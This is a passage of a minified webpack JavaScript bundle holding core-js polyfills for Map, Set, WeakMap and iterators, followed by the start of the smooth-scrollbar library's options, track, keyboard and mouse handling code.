strict";var r=n(85).charAt,o=n(9),i=n(39),u=o.set,c=o.getterFor("String Iterator");i(String,"String",(function(t){u(this,{type:"String Iterator",string:String(t),index:0})}),(function(){var t,e=c(this),n=e.string,o=e.index;return o>=n.length?{value:void 0,done:!0}:(t=r(n,o),e.index+=t.length,{value:t,done:!1})}))},function(t,e,n){var r=n(0),o=n(86),i=n(87),u=n(8),c=n(1),a=c("iterator"),s=c("toStringTag"),f=i.values;for(var l in o){var p=r[l],h=p&&p.prototype;if(h){if(h[a]!==f)try{u(h,a,f)}catch(t){h[a]=f}if(h[s]||u(h,s,l),o[l])for(var d in i)if(h[d]!==i[d])try{u(h,d,i[d])}catch(t){h[d]=i[d]}}}},function(t,e,n){var r=n(6),o=n(44),i=n(14),u=n(15),c=n(25),a=n(3),s=n(45),f=Object.getOwnPropertyDescriptor;e.f=r?f:function(t,e){if(t=u(t),e=c(e,!0),s)try{return f(t,e)}catch(t){}if(a(t,e))return i(!o.f.call(t,e),t[e])}},function(t,e,n){"use strict";var r={}.propertyIsEnumerable,o=Object.getOwnPropertyDescriptor,i=o&&!r.call({1:2},1);e.f=i?function(t){var e=o(this,t);return!!e&&e.enumerable}:r},function(t,e,n){var r=n(6),o=n(4),i=n(46);t.exports=!r&&!o((function(){return 7!=Object.defineProperty(i("div"),"a",{get:function(){return 7}}).a}))},function(t,e,n){var r=n(0),o=n(2),i=r.document,u=o(i)&&o(i.createElement);t.exports=function(t){return u?i.createElement(t):{}}},function(t,e,n){var r=n(48),o=Function.toString;"function"!=typeof r.inspectSource&&(r.inspectSource=function(t){return o.call(t)}),t.exports=r.inspectSource},function(t,e,n){var r=n(0),o=n(26),i=r["__core-js_shared__"]||o("__core-js_shared__",{});t.exports=i},function(t,e,n){var r=n(0),o=n(47),i=r.WeakMap;t.exports="function"==typeof i&&/native code/.test(o(i))},function(t,e,n){var r=n(28),o=n(48);(t.exports=function(t,e){return o[t]||(o[t]=void 0!==e?e:{})})("versions",[]).push({version:"3.6.4",mode:r?"pure":"global",copyright:"© 2020 Denis Pushkarev (zloirock.ru)"})},function(t,e,n){var r=n(3),o=n(15),i=n(72).indexOf,u=n(16);t.exports=function(t,e){var n,c=o(t),a=0,s=[];for(n in c)!r(u,n)&&r(c,n)&&s.push(n);for(;e.length>a;)r(c,n=e[a++])&&(~i(s,n)||s.push(n));return s}},function(t,e){e.f=Object.getOwnPropertySymbols},function(t,e,n){var r=n(4),o=/#|\.prototype\./,i=function(t,e){var n=c[u(t)];return n==s||n!=a&&("function"==typeof e?r(e):!!e)},u=i.normalize=function(t){return String(t).replace(o,".").toLowerCase()},c=i.data={},a=i.NATIVE="N",s=i.POLYFILL="P";t.exports=i},function(t,e,n){var r=n(1),o=n(12),i=r("iterator"),u=Array.prototype;t.exports=function(t){return void 0!==t&&(o.Array===t||u[i]===t)}},function(t,e,n){var r=n(4);t.exports=!!Object.getOwnPropertySymbols&&!r((function(){return!String(Symbol())}))},function(t,e,n){var r=n(57),o=n(12),i=n(1)("iterator");t.exports=function(t){if(null!=t)return t[i]||t["@@iterator"]||o[r(t)]}},function(t,e,n){var r=n(34),o=n(23),i=n(1)("toStringTag"),u="Arguments"==o(function(){return arguments}());t.exports=r?o:function(t){var e,n,r;return void 0===t?"Undefined":null===t?"Null":"string"==typeof(n=function(t,e){try{return t[e]}catch(t){}}(e=Object(t),i))?n:u?o(e):"Object"==(r=o(e))&&"function"==typeof e.callee?"Arguments":r}},function(t,e,n){var r=n(7);t.exports=function(t,e,n,o){try{return o?e(r(n)[0],n[1]):e(n)}catch(e){var i=t.return;throw void 0!==i&&r(i.call(t)),e}}},function(t,e,n){var r=n(1)("iterator"),o=!1;try{var i=0,u={next:function(){return{done:!!i++}},return:function(){o=!0}};u[r]=function(){return this},Array.from(u,(function(){throw 2}))}catch(t){}t.exports=function(t,e){if(!e&&!o)return!1;var n=!1;try{var i={};i[r]=function(){return{next:function(){return{done:n=!0}}}},t(i)}catch(t){}return n}},function(t,e,n){var r=n(7),o=n(78);t.exports=Object.setPrototypeOf||("__proto__"in{}?function(){var t,e=!1,n={};try{(t=Object.getOwnPropertyDescriptor(Object.prototype,"__proto__").set).call(n,[]),e=n instanceof Array}catch(t){}return function(n,i){return r(n),o(i),e?t.call(n,i):n.__proto__=i,n}}():void 0)},function(t,e,n){"use strict";var r=n(5).f,o=n(37),i=n(38),u=n(19),c=n(35),a=n(33),s=n(39),f=n(83),l=n(6),p=n(18).fastKey,h=n(9),d=h.set,v=h.getterFor;t.exports={getConstructor:function(t,e,n,s){var f=t((function(t,r){c(t,f,e),d(t,{type:e,index:o(null),first:void 0,last:void 0,size:0}),l||(t.size=0),null!=r&&a(r,t[s],t,n)})),h=v(e),y=function(t,e,n){var r,o,i=h(t),u=m(t,e);return u?u.value=n:(i.last=u={index:o=p(e,!0),key:e,value:n,previous:r=i.last,next:void 0,removed:!1},i.first||(i.first=u),r&&(r.next=u),l?i.size++:t.size++,"F"!==o&&(i.index[o]=u)),t},m=function(t,e){var n,r=h(t),o=p(e);if("F"!==o)return r.index[o];for(n=r.first;n;n=n.next)if(n.key==e)return n};return i(f.prototype,{clear:function(){for(var t=h(this),e=t.index,n=t.first;n;)n.removed=!0,n.previous&&(n.previous=n.previous.next=void 0),delete e[n.index],n=n.next;t.first=t.last=void 0,l?t.size=0:this.size=0},delete:function(t){var e=h(this),n=m(this,t);if(n){var r=n.next,o=n.previous;delete e.index[n.index],n.removed=!0,o&&(o.next=r),r&&(r.previous=o),e.first==n&&(e.first=r),e.last==n&&(e.last=o),l?e.size--:this.size--}return!!n},forEach:function(t){for(var e,n=h(this),r=u(t,arguments.length>1?arguments[1]:void 0,3);e=e?e.next:n.first;)for(r(e.value,e.key,this);e&&e.removed;)e=e.previous},has:function(t){return!!m(this,t)}}),i(f.prototype,n?{get:function(t){var e=m(this,t);return e&&e.value},set:function(t,e){return y(this,0===t?0:t,e)}}:{add:function(t){return y(this,t=0===t?0:t,t)}}),l&&r(f.prototype,"size",{get:function(){return h(this).size}}),f},setStrong:function(t,e,n){var r=e+" Iterator",o=v(e),i=v(r);s(t,e,(function(t,e){d(this,{type:r,target:t,state:o(t),kind:e,last:void 0})}),(function(){for(var t=i(this),e=t.kind,n=t.last;n&&n.removed;)n=n.previous;return t.target&&(t.last=n=n?n.next:t.state.first)?"keys"==e?{value:n.key,done:!1}:"values"==e?{value:n.value,done:!1}:{value:[n.key,n.value],done:!1}:(t.target=void 0,{value:void 0,done:!0})}),n?"entries":"values",!n,!0),f(e)}}},function(t,e,n){var r=n(51),o=n(32);t.exports=Object.keys||function(t){return r(t,o)}},function(t,e,n){"use strict";var r,o,i,u=n(64),c=n(8),a=n(3),s=n(1),f=n(28),l=s("iterator"),p=!1;[].keys&&("next"in(i=[].keys())?(o=u(u(i)))!==Object.prototype&&(r=o):p=!0),null==r&&(r={}),f||a(r,l)||c(r,l,(function(){return this})),t.exports={IteratorPrototype:r,BUGGY_SAFARI_ITERATORS:p}},function(t,e,n){var r=n(3),o=n(20),i=n(27),u=n(82),c=i("IE_PROTO"),a=Object.prototype;t.exports=u?Object.getPrototypeOf:function(t){return t=o(t),r(t,c)?t[c]:"function"==typeof t.constructor&&t instanceof t.constructor?t.constructor.prototype:t instanceof Object?a:null}},function(t,e,n){t.exports=n(104)},function(t,e,n){n(67),n(40),n(41),n(42);var r=n(10);t.exports=r.Map},function(t,e,n){"use strict";var r=n(21),o=n(61);t.exports=r("Map",(function(t){return function(){return t(this,arguments.length?arguments[0]:void 0)}}),o)},function(t,e){var n;n=function(){return this}();try{n=n||new Function("return this")()}catch(t){"object"==typeof window&&(n=window)}t.exports=n},function(t,e,n){var r=n(3),o=n(70),i=n(43),u=n(5);t.exports=function(t,e){for(var n=o(e),c=u.f,a=i.f,s=0;s<n.length;s++){var f=n[s];r(t,f)||c(t,f,a(e,f))}}},function(t,e,n){var r=n(30),o=n(71),i=n(52),u=n(7);t.exports=r("Reflect","ownKeys")||function(t){var e=o.f(u(t)),n=i.f;return n?e.concat(n(t)):e}},function(t,e,n){var r=n(51),o=n(32).concat("length","prototype");e.f=Object.getOwnPropertyNames||function(t){return r(t,o)}},function(t,e,n){var r=n(15),o=n(17),i=n(73),u=function(t){return function(e,n,u){var c,a=r(e),s=o(a.length),f=i(u,s);if(t&&n!=n){for(;s>f;)if((c=a[f++])!=c)return!0}else for(;s>f;f++)if((t||f in a)&&a[f]===n)return t||f||0;return!t&&-1}};t.exports={includes:u(!0),indexOf:u(!1)}},function(t,e,n){var r=n(31),o=Math.max,i=Math.min;t.exports=function(t,e){var n=r(t);return n<0?o(n+e,0):i(n,e)}},function(t,e,n){var r=n(4);t.exports=!r((function(){return Object.isExtensible(Object.preventExtensions({}))}))},function(t,e,n){var r=n(55);t.exports=r&&!Symbol.sham&&"symbol"==typeof Symbol.iterator},function(t,e){t.exports=function(t){if("function"!=typeof t)throw TypeError(String(t)+" is not a function");return t}},function(t,e,n){var r=n(2),o=n(60);t.exports=function(t,e,n){var i,u;return o&&"function"==typeof(i=e.constructor)&&i!==n&&r(u=i.prototype)&&u!==n.prototype&&o(t,u),t}},function(t,e,n){var r=n(2);t.exports=function(t){if(!r(t)&&null!==t)throw TypeError("Can't set "+String(t)+" as a prototype");return t}},function(t,e,n){var r=n(6),o=n(5),i=n(7),u=n(62);t.exports=r?Object.defineProperties:function(t,e){i(t);for(var n,r=u(e),c=r.length,a=0;c>a;)o.f(t,n=r[a++],e[n]);return t}},function(t,e,n){var r=n(30);t.exports=r("document","documentElement")},function(t,e,n){"use strict";var r=n(63).IteratorPrototype,o=n(37),i=n(14),u=n(36),c=n(12),a=function(){return this};t.exports=function(t,e,n){var s=e+" Iterator";return t.prototype=o(r,{next:i(1,n)}),u(t,s,!1,!0),c[s]=a,t}},function(t,e,n){var r=n(4);t.exports=!r((function(){function t(){}return t.prototype.constructor=null,Object.getPrototypeOf(new t)!==t.prototype}))},function(t,e,n){"use strict";var r=n(30),o=n(5),i=n(1),u=n(6),c=i("species");t.exports=function(t){var e=r(t),n=o.f;u&&e&&!e[c]&&n(e,c,{configurable:!0,get:function(){return this}})}},function(t,e,n){"use strict";var r=n(34),o=n(57);t.exports=r?{}.toString:function(){return"[object "+o(this)+"]"}},function(t,e,n){var r=n(31),o=n(24),i=function(t){return function(e,n){var i,u,c=String(o(e)),a=r(n),s=c.length;return a<0||a>=s?t?"":void 0:(i=c.charCodeAt(a))<55296||i>56319||a+1===s||(u=c.charCodeAt(a+1))<56320||u>57343?t?c.charAt(a):i:t?c.slice(a,a+2):u-56320+(i-55296<<10)+65536}};t.exports={codeAt:i(!1),charAt:i(!0)}},function(t,e){t.exports={CSSRuleList:0,CSSStyleDeclaration:0,CSSValueList:0,ClientRectList:0,DOMRectList:0,DOMStringList:0,DOMTokenList:1,DataTransferItemList:0,FileList:0,HTMLAllCollection:0,HTMLCollection:0,HTMLFormElement:0,HTMLSelectElement:0,MediaList:0,MimeTypeArray:0,NamedNodeMap:0,NodeList:1,PaintRequestList:0,Plugin:0,PluginArray:0,SVGLengthList:0,SVGNumberList:0,SVGPathSegList:0,SVGPointList:0,SVGStringList:0,SVGTransformList:0,SourceBufferList:0,StyleSheetList:0,TextTrackCueList:0,TextTrackList:0,TouchList:0}},function(t,e,n){"use strict";var r=n(15),o=n(88),i=n(12),u=n(9),c=n(39),a=u.set,s=u.getterFor("Array Iterator");t.exports=c(Array,"Array",(function(t,e){a(this,{type:"Array Iterator",target:r(t),index:0,kind:e})}),(function(){var t=s(this),e=t.target,n=t.kind,r=t.index++;return!e||r>=e.length?(t.target=void 0,{value:void 0,done:!0}):"keys"==n?{value:r,done:!1}:"values"==n?{value:e[r],done:!1}:{value:[r,e[r]],done:!1}}),"values"),i.Arguments=i.Array,o("keys"),o("values"),o("entries")},function(t,e,n){var r=n(1),o=n(37),i=n(5),u=r("unscopables"),c=Array.prototype;null==c[u]&&i.f(c,u,{configurable:!0,value:o(null)}),t.exports=function(t){c[u][t]=!0}},function(t,e,n){n(90),n(40),n(41),n(42);var r=n(10);t.exports=r.Set},function(t,e,n){"use strict";var r=n(21),o=n(61);t.exports=r("Set",(function(t){return function(){return t(this,arguments.length?arguments[0]:void 0)}}),o)},function(t,e,n){n(40),n(92),n(42);var r=n(10);t.exports=r.WeakMap},function(t,e,n){"use strict";var r,o=n(0),i=n(38),u=n(18),c=n(21),a=n(93),s=n(2),f=n(9).enforce,l=n(49),p=!o.ActiveXObject&&"ActiveXObject"in o,h=Object.isExtensible,d=function(t){return function(){return t(this,arguments.length?arguments[0]:void 0)}},v=t.exports=c("WeakMap",d,a);if(l&&p){r=a.getConstructor(d,"WeakMap",!0),u.REQUIRED=!0;var y=v.prototype,m=y.delete,g=y.has,x=y.get,b=y.set;i(y,{delete:function(t){if(s(t)&&!h(t)){var e=f(this);return e.frozen||(e.frozen=new r),m.call(this,t)||e.frozen.delete(t)}return m.call(this,t)},has:function(t){if(s(t)&&!h(t)){var e=f(this);return e.frozen||(e.frozen=new r),g.call(this,t)||e.frozen.has(t)}return g.call(this,t)},get:function(t){if(s(t)&&!h(t)){var e=f(this);return e.frozen||(e.frozen=new r),g.call(this,t)?x.call(this,t):e.frozen.get(t)}return x.call(this,t)},set:function(t,e){if(s(t)&&!h(t)){var n=f(this);n.frozen||(n.frozen=new r),g.call(this,t)?b.call(this,t,e):n.frozen.set(t,e)}else b.call(this,t,e);return this}})}},function(t,e,n){"use strict";var r=n(38),o=n(18).getWeakData,i=n(7),u=n(2),c=n(35),a=n(33),s=n(94),f=n(3),l=n(9),p=l.set,h=l.getterFor,d=s.find,v=s.findIndex,y=0,m=function(t){return t.frozen||(t.frozen=new g)},g=function(){this.entries=[]},x=function(t,e){return d(t.entries,(function(t){return t[0]===e}))};g.prototype={get:function(t){var e=x(this,t);if(e)return e[1]},has:function(t){return!!x(this,t)},set:function(t,e){var n=x(this,t);n?n[1]=e:this.entries.push([t,e])},delete:function(t){var e=v(this.entries,(function(e){return e[0]===t}));return~e&&this.entries.splice(e,1),!!~e}},t.exports={getConstructor:function(t,e,n,s){var l=t((function(t,r){c(t,l,e),p(t,{type:e,id:y++,frozen:void 0}),null!=r&&a(r,t[s],t,n)})),d=h(e),v=function(t,e,n){var r=d(t),u=o(i(e),!0);return!0===u?m(r).set(e,n):u[r.id]=n,t};return r(l.prototype,{delete:function(t){var e=d(this);if(!u(t))return!1;var n=o(t);return!0===n?m(e).delete(t):n&&f(n,e.id)&&delete n[e.id]},has:function(t){var e=d(this);if(!u(t))return!1;var n=o(t);return!0===n?m(e).has(t):n&&f(n,e.id)}}),r(l.prototype,n?{get:function(t){var e=d(this);if(u(t)){var n=o(t);return!0===n?m(e).get(t):n?n[e.id]:void 0}},set:function(t,e){return v(this,t,e)}}:{add:function(t){return v(this,t,!0)}}),l}}},function(t,e,n){var r=n(19),o=n(22),i=n(20),u=n(17),c=n(95),a=[].push,s=function(t){var e=1==t,n=2==t,s=3==t,f=4==t,l=6==t,p=5==t||l;return function(h,d,v,y){for(var m,g,x=i(h),b=o(x),w=r(d,v,3),S=u(b.length),_=0,E=y||c,O=e?E(h,S):n?E(h,0):void 0;S>_;_++)if((p||_ in b)&&(g=w(m=b[_],_,x),t))if(e)O[_]=g;else if(g)switch(t){case 3:return!0;case 5:return m;case 6:return _;case 2:a.call(O,m)}else if(f)return!1;return l?-1:s||f?f:O}};t.exports={forEach:s(0),map:s(1),filter:s(2),some:s(3),every:s(4),find:s(5),findIndex:s(6)}},function(t,e,n){var r=n(2),o=n(96),i=n(1)("species");t.exports=function(t,e){var n;return o(t)&&("function"!=typeof(n=t.constructor)||n!==Array&&!o(n.prototype)?r(n)&&null===(n=n[i])&&(n=void 0):n=void 0),new(void 0===n?Array:n)(0===e?0:e)}},function(t,e,n){var r=n(23);t.exports=Array.isArray||function(t){return"Array"==r(t)}},function(t,e,n){n(41),n(98);var r=n(10);t.exports=r.Array.from},function(t,e,n){var r=n(13),o=n(99);r({target:"Array",stat:!0,forced:!n(59)((function(t){Array.from(t)}))},{from:o})},function(t,e,n){"use strict";var r=n(19),o=n(20),i=n(58),u=n(54),c=n(17),a=n(100),s=n(56);t.exports=function(t){var e,n,f,l,p,h,d=o(t),v="function"==typeof this?this:Array,y=arguments.length,m=y>1?arguments[1]:void 0,g=void 0!==m,x=s(d),b=0;if(g&&(m=r(m,y>2?arguments[2]:void 0,2)),null==x||v==Array&&u(x))for(n=new v(e=c(d.length));e>b;b++)h=g?m(d[b],b):d[b],a(n,b,h);else for(p=(l=x.call(d)).next,n=new v;!(f=p.call(l)).done;b++)h=g?i(l,m,[f.value,b],!0):f.value,a(n,b,h);return n.length=b,n}},function(t,e,n){"use strict";var r=n(25),o=n(5),i=n(14);t.exports=function(t,e,n){var u=r(e);u in t?o.f(t,u,i(0,n)):t[u]=n}},function(t,e,n){n(102);var r=n(10);t.exports=r.Object.assign},function(t,e,n){var r=n(13),o=n(103);r({target:"Object",stat:!0,forced:Object.assign!==o},{assign:o})},function(t,e,n){"use strict";var r=n(6),o=n(4),i=n(62),u=n(52),c=n(44),a=n(20),s=n(22),f=Object.assign,l=Object.defineProperty;t.exports=!f||o((function(){if(r&&1!==f({b:1},f(l({},"a",{enumerable:!0,get:function(){l(this,"b",{value:3,enumerable:!1})}}),{b:2})).b)return!0;var t={},e={},n=Symbol();return t[n]=7,"abcdefghijklmnopqrst".split("").forEach((function(t){e[t]=t})),7!=f({},t)[n]||"abcdefghijklmnopqrst"!=i(f({},e)).join("")}))?function(t,e){for(var n=a(t),o=arguments.length,f=1,l=u.f,p=c.f;o>f;)for(var h,d=s(arguments[f++]),v=l?i(d).concat(l(d)):i(d),y=v.length,m=0;y>m;)h=v[m++],r&&!p.call(d,h)||(n[h]=d[h]);return n}:f},function(t,e,n){"use strict";n.r(e);var r={};n.r(r),n.d(r,"keyboardHandler",(function(){return I})),n.d(r,"mouseHandler",(function(){return R})),n.d(r,"resizeHandler",(function(){return C})),n.d(r,"selectHandler",(function(){return N})),n.d(r,"touchHandler",(function(){return F})),n.d(r,"wheelHandler",(function(){return H}));
/*! *****************************************************************************
Copyright (c) Microsoft Corporation. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License"); you may not use
this file except in compliance with the License. You may obtain a copy of the
License at http://www.apache.org/licenses/LICENSE-2.0

THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED
WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE,
MERCHANTABLITY OR NON-INFRINGEMENT.

See the Apache Version 2.0 License for specific language governing permissions
and limitations under the License.
***************************************************************************** */
var o=function(t,e){return(o=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])})(t,e)},i=function(){return(i=Object.assign||function(t){for(var e,n=1,r=arguments.length;n<r;n++)for(var o in e=arguments[n])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t}).apply(this,arguments)};function u(t,e,n,r){var o,i=arguments.length,u=i<3?e:null===r?r=Object.getOwnPropertyDescriptor(e,n):r;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)u=Reflect.decorate(t,e,n,r);else for(var c=t.length-1;c>=0;c--)(o=t[c])&&(u=(i<3?o(u):i>3?o(e,n,u):o(e,n))||u);return i>3&&u&&Object.defineProperty(e,n,u),u}n(66),n(89),n(91),n(97),n(101);var c,a=new WeakMap;function s(){if(void 0!==c)return c;var t=!1;try{var e=function(){},n=Object.defineProperty({},"passive",{enumerable:!0,get:function(){return t=!0,!0}});window.addEventListener("testPassive",e,n),window.removeEventListener("testPassive",e,n)}catch(t){}return c=!!t&&{passive:!1}}function f(t){var e=a.get(t)||[];return a.set(t,e),function(t,n,r){function o(t){t.defaultPrevented||r(t)}n.split(/\s+/g).forEach((function(n){e.push({elem:t,eventName:n,handler:o}),t.addEventListener(n,o,s())}))}}function l(t){var e=function(t){return t.touches?t.touches[t.touches.length-1]:t}(t);return{x:e.clientX,y:e.clientY}}function p(t,e){return void 0===e&&(e=[]),e.some((function(e){return t===e}))}var h=["webkit","moz","ms","o"],d=new RegExp("^-(?!(?:"+h.join("|")+")-)");function v(t,e){e=function(t){var e={};return Object.keys(t).forEach((function(n){if(d.test(n)){var r=t[n];n=n.replace(/^-/,""),e[n]=r,h.forEach((function(t){e["-"+t+"-"+n]=r}))}else e[n]=t[n]})),e}(e),Object.keys(e).forEach((function(n){var r=n.replace(/^-/,"").replace(/-([a-z])/g,(function(t,e){return e.toUpperCase()}));t.style[r]=e[n]}))}var y=function(){function t(t){this.velocityMultiplier=window.devicePixelRatio,this.updateTime=Date.now(),this.delta={x:0,y:0},this.velocity={x:0,y:0},this.lastPosition={x:0,y:0},this.lastPosition=l(t)}return t.prototype.update=function(t){var e=this.velocity,n=this.updateTime,r=this.lastPosition,o=Date.now(),i=l(t),u={x:-(i.x-r.x),y:-(i.y-r.y)},c=o-n||16.7,a=u.x/c*16.7,s=u.y/c*16.7;e.x=a*this.velocityMultiplier,e.y=s*this.velocityMultiplier,this.delta=u,this.updateTime=o,this.lastPosition=i},t}(),m=function(){function t(){this._touchList={}}return Object.defineProperty(t.prototype,"_primitiveValue",{get:function(){return{x:0,y:0}},enumerable:!0,configurable:!0}),t.prototype.isActive=function(){return void 0!==this._activeTouchID},t.prototype.getDelta=function(){var t=this._getActiveTracker();return t?i({},t.delta):this._primitiveValue},t.prototype.getVelocity=function(){var t=this._getActiveTracker();return t?i({},t.velocity):this._primitiveValue},t.prototype.getEasingDistance=function(t){var e=1-t,n={x:0,y:0},r=this.getVelocity();return Object.keys(r).forEach((function(t){for(var o=Math.abs(r[t])<=10?0:r[t];0!==o;)n[t]+=o,o=o*e|0})),n},t.prototype.track=function(t){var e=this,n=t.targetTouches;return Array.from(n).forEach((function(t){e._add(t)})),this._touchList},t.prototype.update=function(t){var e=this,n=t.touches,r=t.changedTouches;return Array.from(n).forEach((function(t){e._renew(t)})),this._setActiveID(r),this._touchList},t.prototype.release=function(t){var e=this;delete this._activeTouchID,Array.from(t.changedTouches).forEach((function(t){e._delete(t)}))},t.prototype._add=function(t){this._has(t)&&this._delete(t);var e=new y(t);this._touchList[t.identifier]=e},t.prototype._renew=function(t){this._has(t)&&this._touchList[t.identifier].update(t)},t.prototype._delete=function(t){delete this._touchList[t.identifier]},t.prototype._has=function(t){return this._touchList.hasOwnProperty(t.identifier)},t.prototype._setActiveID=function(t){this._activeTouchID=t[t.length-1].identifier},t.prototype._getActiveTracker=function(){return this._touchList[this._activeTouchID]},t}();function g(t,e,n){return Math.max(e,Math.min(n,t))}function x(t,e,n){var r;void 0===e&&(e=0);var o=-1/0;return function(){for(var i=this,u=[],c=0;c<arguments.length;c++)u[c]=arguments[c];if(n){var a=Date.now(),s=a-o;o=a,s>=e&&t.apply(this,u)}clearTimeout(r),r=setTimeout((function(){t.apply(i,u)}),e)}}function b(t,e){return void 0===t&&(t=-1/0),void 0===e&&(e=1/0),function(n,r){var o="_"+r;Object.defineProperty(n,r,{get:function(){return this[o]},set:function(n){Object.defineProperty(this,o,{value:g(n,t,e),enumerable:!1,writable:!0,configurable:!0})},enumerable:!0,configurable:!0})}}function w(t,e){var n="_"+e;Object.defineProperty(t,e,{get:function(){return this[n]},set:function(t){Object.defineProperty(this,n,{value:!!t,enumerable:!1,writable:!0,configurable:!0})},enumerable:!0,configurable:!0})}function S(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return function(e,n,r){var o=r.value;return{get:function(){return this.hasOwnProperty(n)||Object.defineProperty(this,n,{value:x.apply(void 0,function(){for(var t=0,e=0,n=arguments.length;e<n;e++)t+=arguments[e].length;var r=Array(t),o=0;for(e=0;e<n;e++)for(var i=arguments[e],u=0,c=i.length;u<c;u++,o++)r[o]=i[u];return r}([o],t))}),this[n]}}}}var _,E=function(){function t(t){var e=this;void 0===t&&(t={}),this.damping=.1,this.thumbMinSize=20,this.renderByPixels=!0,this.alwaysShowTracks=!1,this.continuousScrolling=!0,this.delegateTo=null,this.plugins={},Object.keys(t).forEach((function(n){e[n]=t[n]}))}return Object.defineProperty(t.prototype,"wheelEventTarget",{get:function(){return this.delegateTo},set:function(t){console.warn("[smooth-scrollbar]: `options.wheelEventTarget` is deprecated and will be removed in the future, use `options.delegateTo` instead."),this.delegateTo=t},enumerable:!0,configurable:!0}),u([b(0,1)],t.prototype,"damping",void 0),u([b(0,1/0)],t.prototype,"thumbMinSize",void 0),u([w],t.prototype,"renderByPixels",void 0),u([w],t.prototype,"alwaysShowTracks",void 0),u([w],t.prototype,"continuousScrolling",void 0),t}();!function(t){t.X="x",t.Y="y"}(_||(_={}));var O=function(){function t(t,e){void 0===e&&(e=0),this._direction=t,this._minSize=e,this.element=document.createElement("div"),this.displaySize=0,this.realSize=0,this.offset=0,this.element.className="scrollbar-thumb scrollbar-thumb-"+t}return t.prototype.attachTo=function(t){t.appendChild(this.element)},t.prototype.update=function(t,e,n){this.realSize=Math.min(e/n,1)*e,this.displaySize=Math.max(this.realSize,this._minSize),this.offset=t/n*(e+(this.realSize-this.displaySize)),v(this.element,this._getStyle())},t.prototype._getStyle=function(){switch(this._direction){case _.X:return{width:this.displaySize+"px","-transform":"translate3d("+this.offset+"px, 0, 0)"};case _.Y:return{height:this.displaySize+"px","-transform":"translate3d(0, "+this.offset+"px, 0)"};default:return null}},t}(),T=function(){function t(t,e){void 0===e&&(e=0),this.element=document.createElement("div"),this._isShown=!1,this.element.className="scrollbar-track scrollbar-track-"+t,this.thumb=new O(t,e),this.thumb.attachTo(this.element)}return t.prototype.attachTo=function(t){t.appendChild(this.element)},t.prototype.show=function(){this._isShown||(this._isShown=!0,this.element.classList.add("show"))},t.prototype.hide=function(){this._isShown&&(this._isShown=!1,this.element.classList.remove("show"))},t.prototype.update=function(t,e,n){v(this.element,{display:n<=e?"none":"block"}),this.thumb.update(t,e,n)},t}(),A=function(){function t(t){this._scrollbar=t;var e=t.options.thumbMinSize;this.xAxis=new T(_.X,e),this.yAxis=new T(_.Y,e),this.xAxis.attachTo(t.containerEl),this.yAxis.attachTo(t.containerEl),t.options.alwaysShowTracks&&(this.xAxis.show(),this.yAxis.show())}return t.prototype.update=function(){var t=this._scrollbar,e=t.size,n=t.offset;this.xAxis.update(n.x,e.container.width,e.content.width),this.yAxis.update(n.y,e.container.height,e.content.height)},t.prototype.autoHideOnIdle=function(){this._scrollbar.options.alwaysShowTracks||(this.xAxis.hide(),this.yAxis.hide())},u([S(300)],t.prototype,"autoHideOnIdle",null),t}(),P=new WeakMap;function j(t){return Math.pow(t-1,3)+1}var M,k,D,z=function(){function t(t,e){var n=this.constructor;this.scrollbar=t,this.name=n.pluginName,this.options=i(i({},n.defaultOptions),e)}return t.prototype.onInit=function(){},t.prototype.onDestroy=function(){},t.prototype.onUpdate=function(){},t.prototype.onRender=function(t){},t.prototype.transformDelta=function(t,e){return i({},t)},t.pluginName="",t.defaultOptions={},t}(),L={order:new Set,constructors:{}};function I(t){var e=f(t),n=t.containerEl;e(n,"keydown",(function(e){var r=document.activeElement;if((r===n||n.contains(r))&&!function(t){return!("INPUT"!==t.tagName&&"SELECT"!==t.tagName&&"TEXTAREA"!==t.tagName&&!t.isContentEditable)&&!t.disabled}(r)){var o=function(t,e){var n=t.size,r=t.limit,o=t.offset;switch(e){case M.TAB:return function(t){requestAnimationFrame((function(){t.scrollIntoView(document.activeElement,{offsetTop:t.size.container.height/2,offsetLeft:t.size.container.width/2,onlyScrollIfNeeded:!0})}))}(t);case M.SPACE:return[0,200];case M.PAGE_UP:return[0,40-n.container.height];case M.PAGE_DOWN:return[0,n.container.height-40];case M.END:return[0,r.y-o.y];case M.HOME:return[0,-o.y];case M.LEFT:return[-40,0];case M.UP:return[0,-40];case M.RIGHT:return[40,0];case M.DOWN:return[0,40];default:return null}}(t,e.keyCode||e.which);if(o){var i=o[0],u=o[1];t.addTransformableMomentum(i,u,e,(function(n){n?e.preventDefault():(t.containerEl.blur(),t.parent&&t.parent.containerEl.focus())}))}}}))}function R(t){var e,n,r,o,i,u=f(t),c=t.containerEl,a=t.track,s=a.xAxis,h=a.yAxis;function d(e,n){var r=t.size,o=t.limit,i=t.offset;return e===k.X?g(n/(r.container.width+(s.thumb.realSize-s.thumb.displaySize))*r.content.width,0,o.x)-i.x:e===k.Y?g(n/(r.container.height+(h.thumb.realSize-h.thumb.displaySize))*r.content.height,0,o.y)-i.y:0}function y(t){return p(t,[s.element,s.thumb.element])?k.X:p(t,[h.element,h.thumb.element])?k.Y:void 0}u(c,"click",(function(e){if(!n&&p(e.target,[s.element,h.element])){var r=e.target,o=y(r),i=r.getBoundingClientRect(),u=l(e);if(o===k.X){var c=u.x-i.left-s.thumb.displaySize/2;t.setMomentum(d(o,c),0)}o===k.Y&&(c=u.y-i.top-h.thumb.displaySize/2,t.setMomentum(0,d(o,c)))}})),u(c,"mousedown",(function(n){if(p(n.target,[s.thumb.element,h.thumb.element])){e=!0;var u=n.target,a=l(n),f=u.getBoundingClientRect();o=y(u),r={x:a.x-f.left,y:a.y-f.top},i=c.getBoundingClientRect(),v(t.containerEl,{"-user-select":"none"})}})),u(window,"mousemove",(function(u){if(e){n=!0;var c=l(u);if(o===k.X){var a=c.x-r.x-i.left;t.setMomentum(d(o,a),0)}o===k.Y&&(a=c.y-r.y-i.top,t.setMomentum(0,d(o,a)))}})),u(window,"mouseup blur",(function(){e=n=!1,v(t.containerEl,{"-user-select":""})}))}function 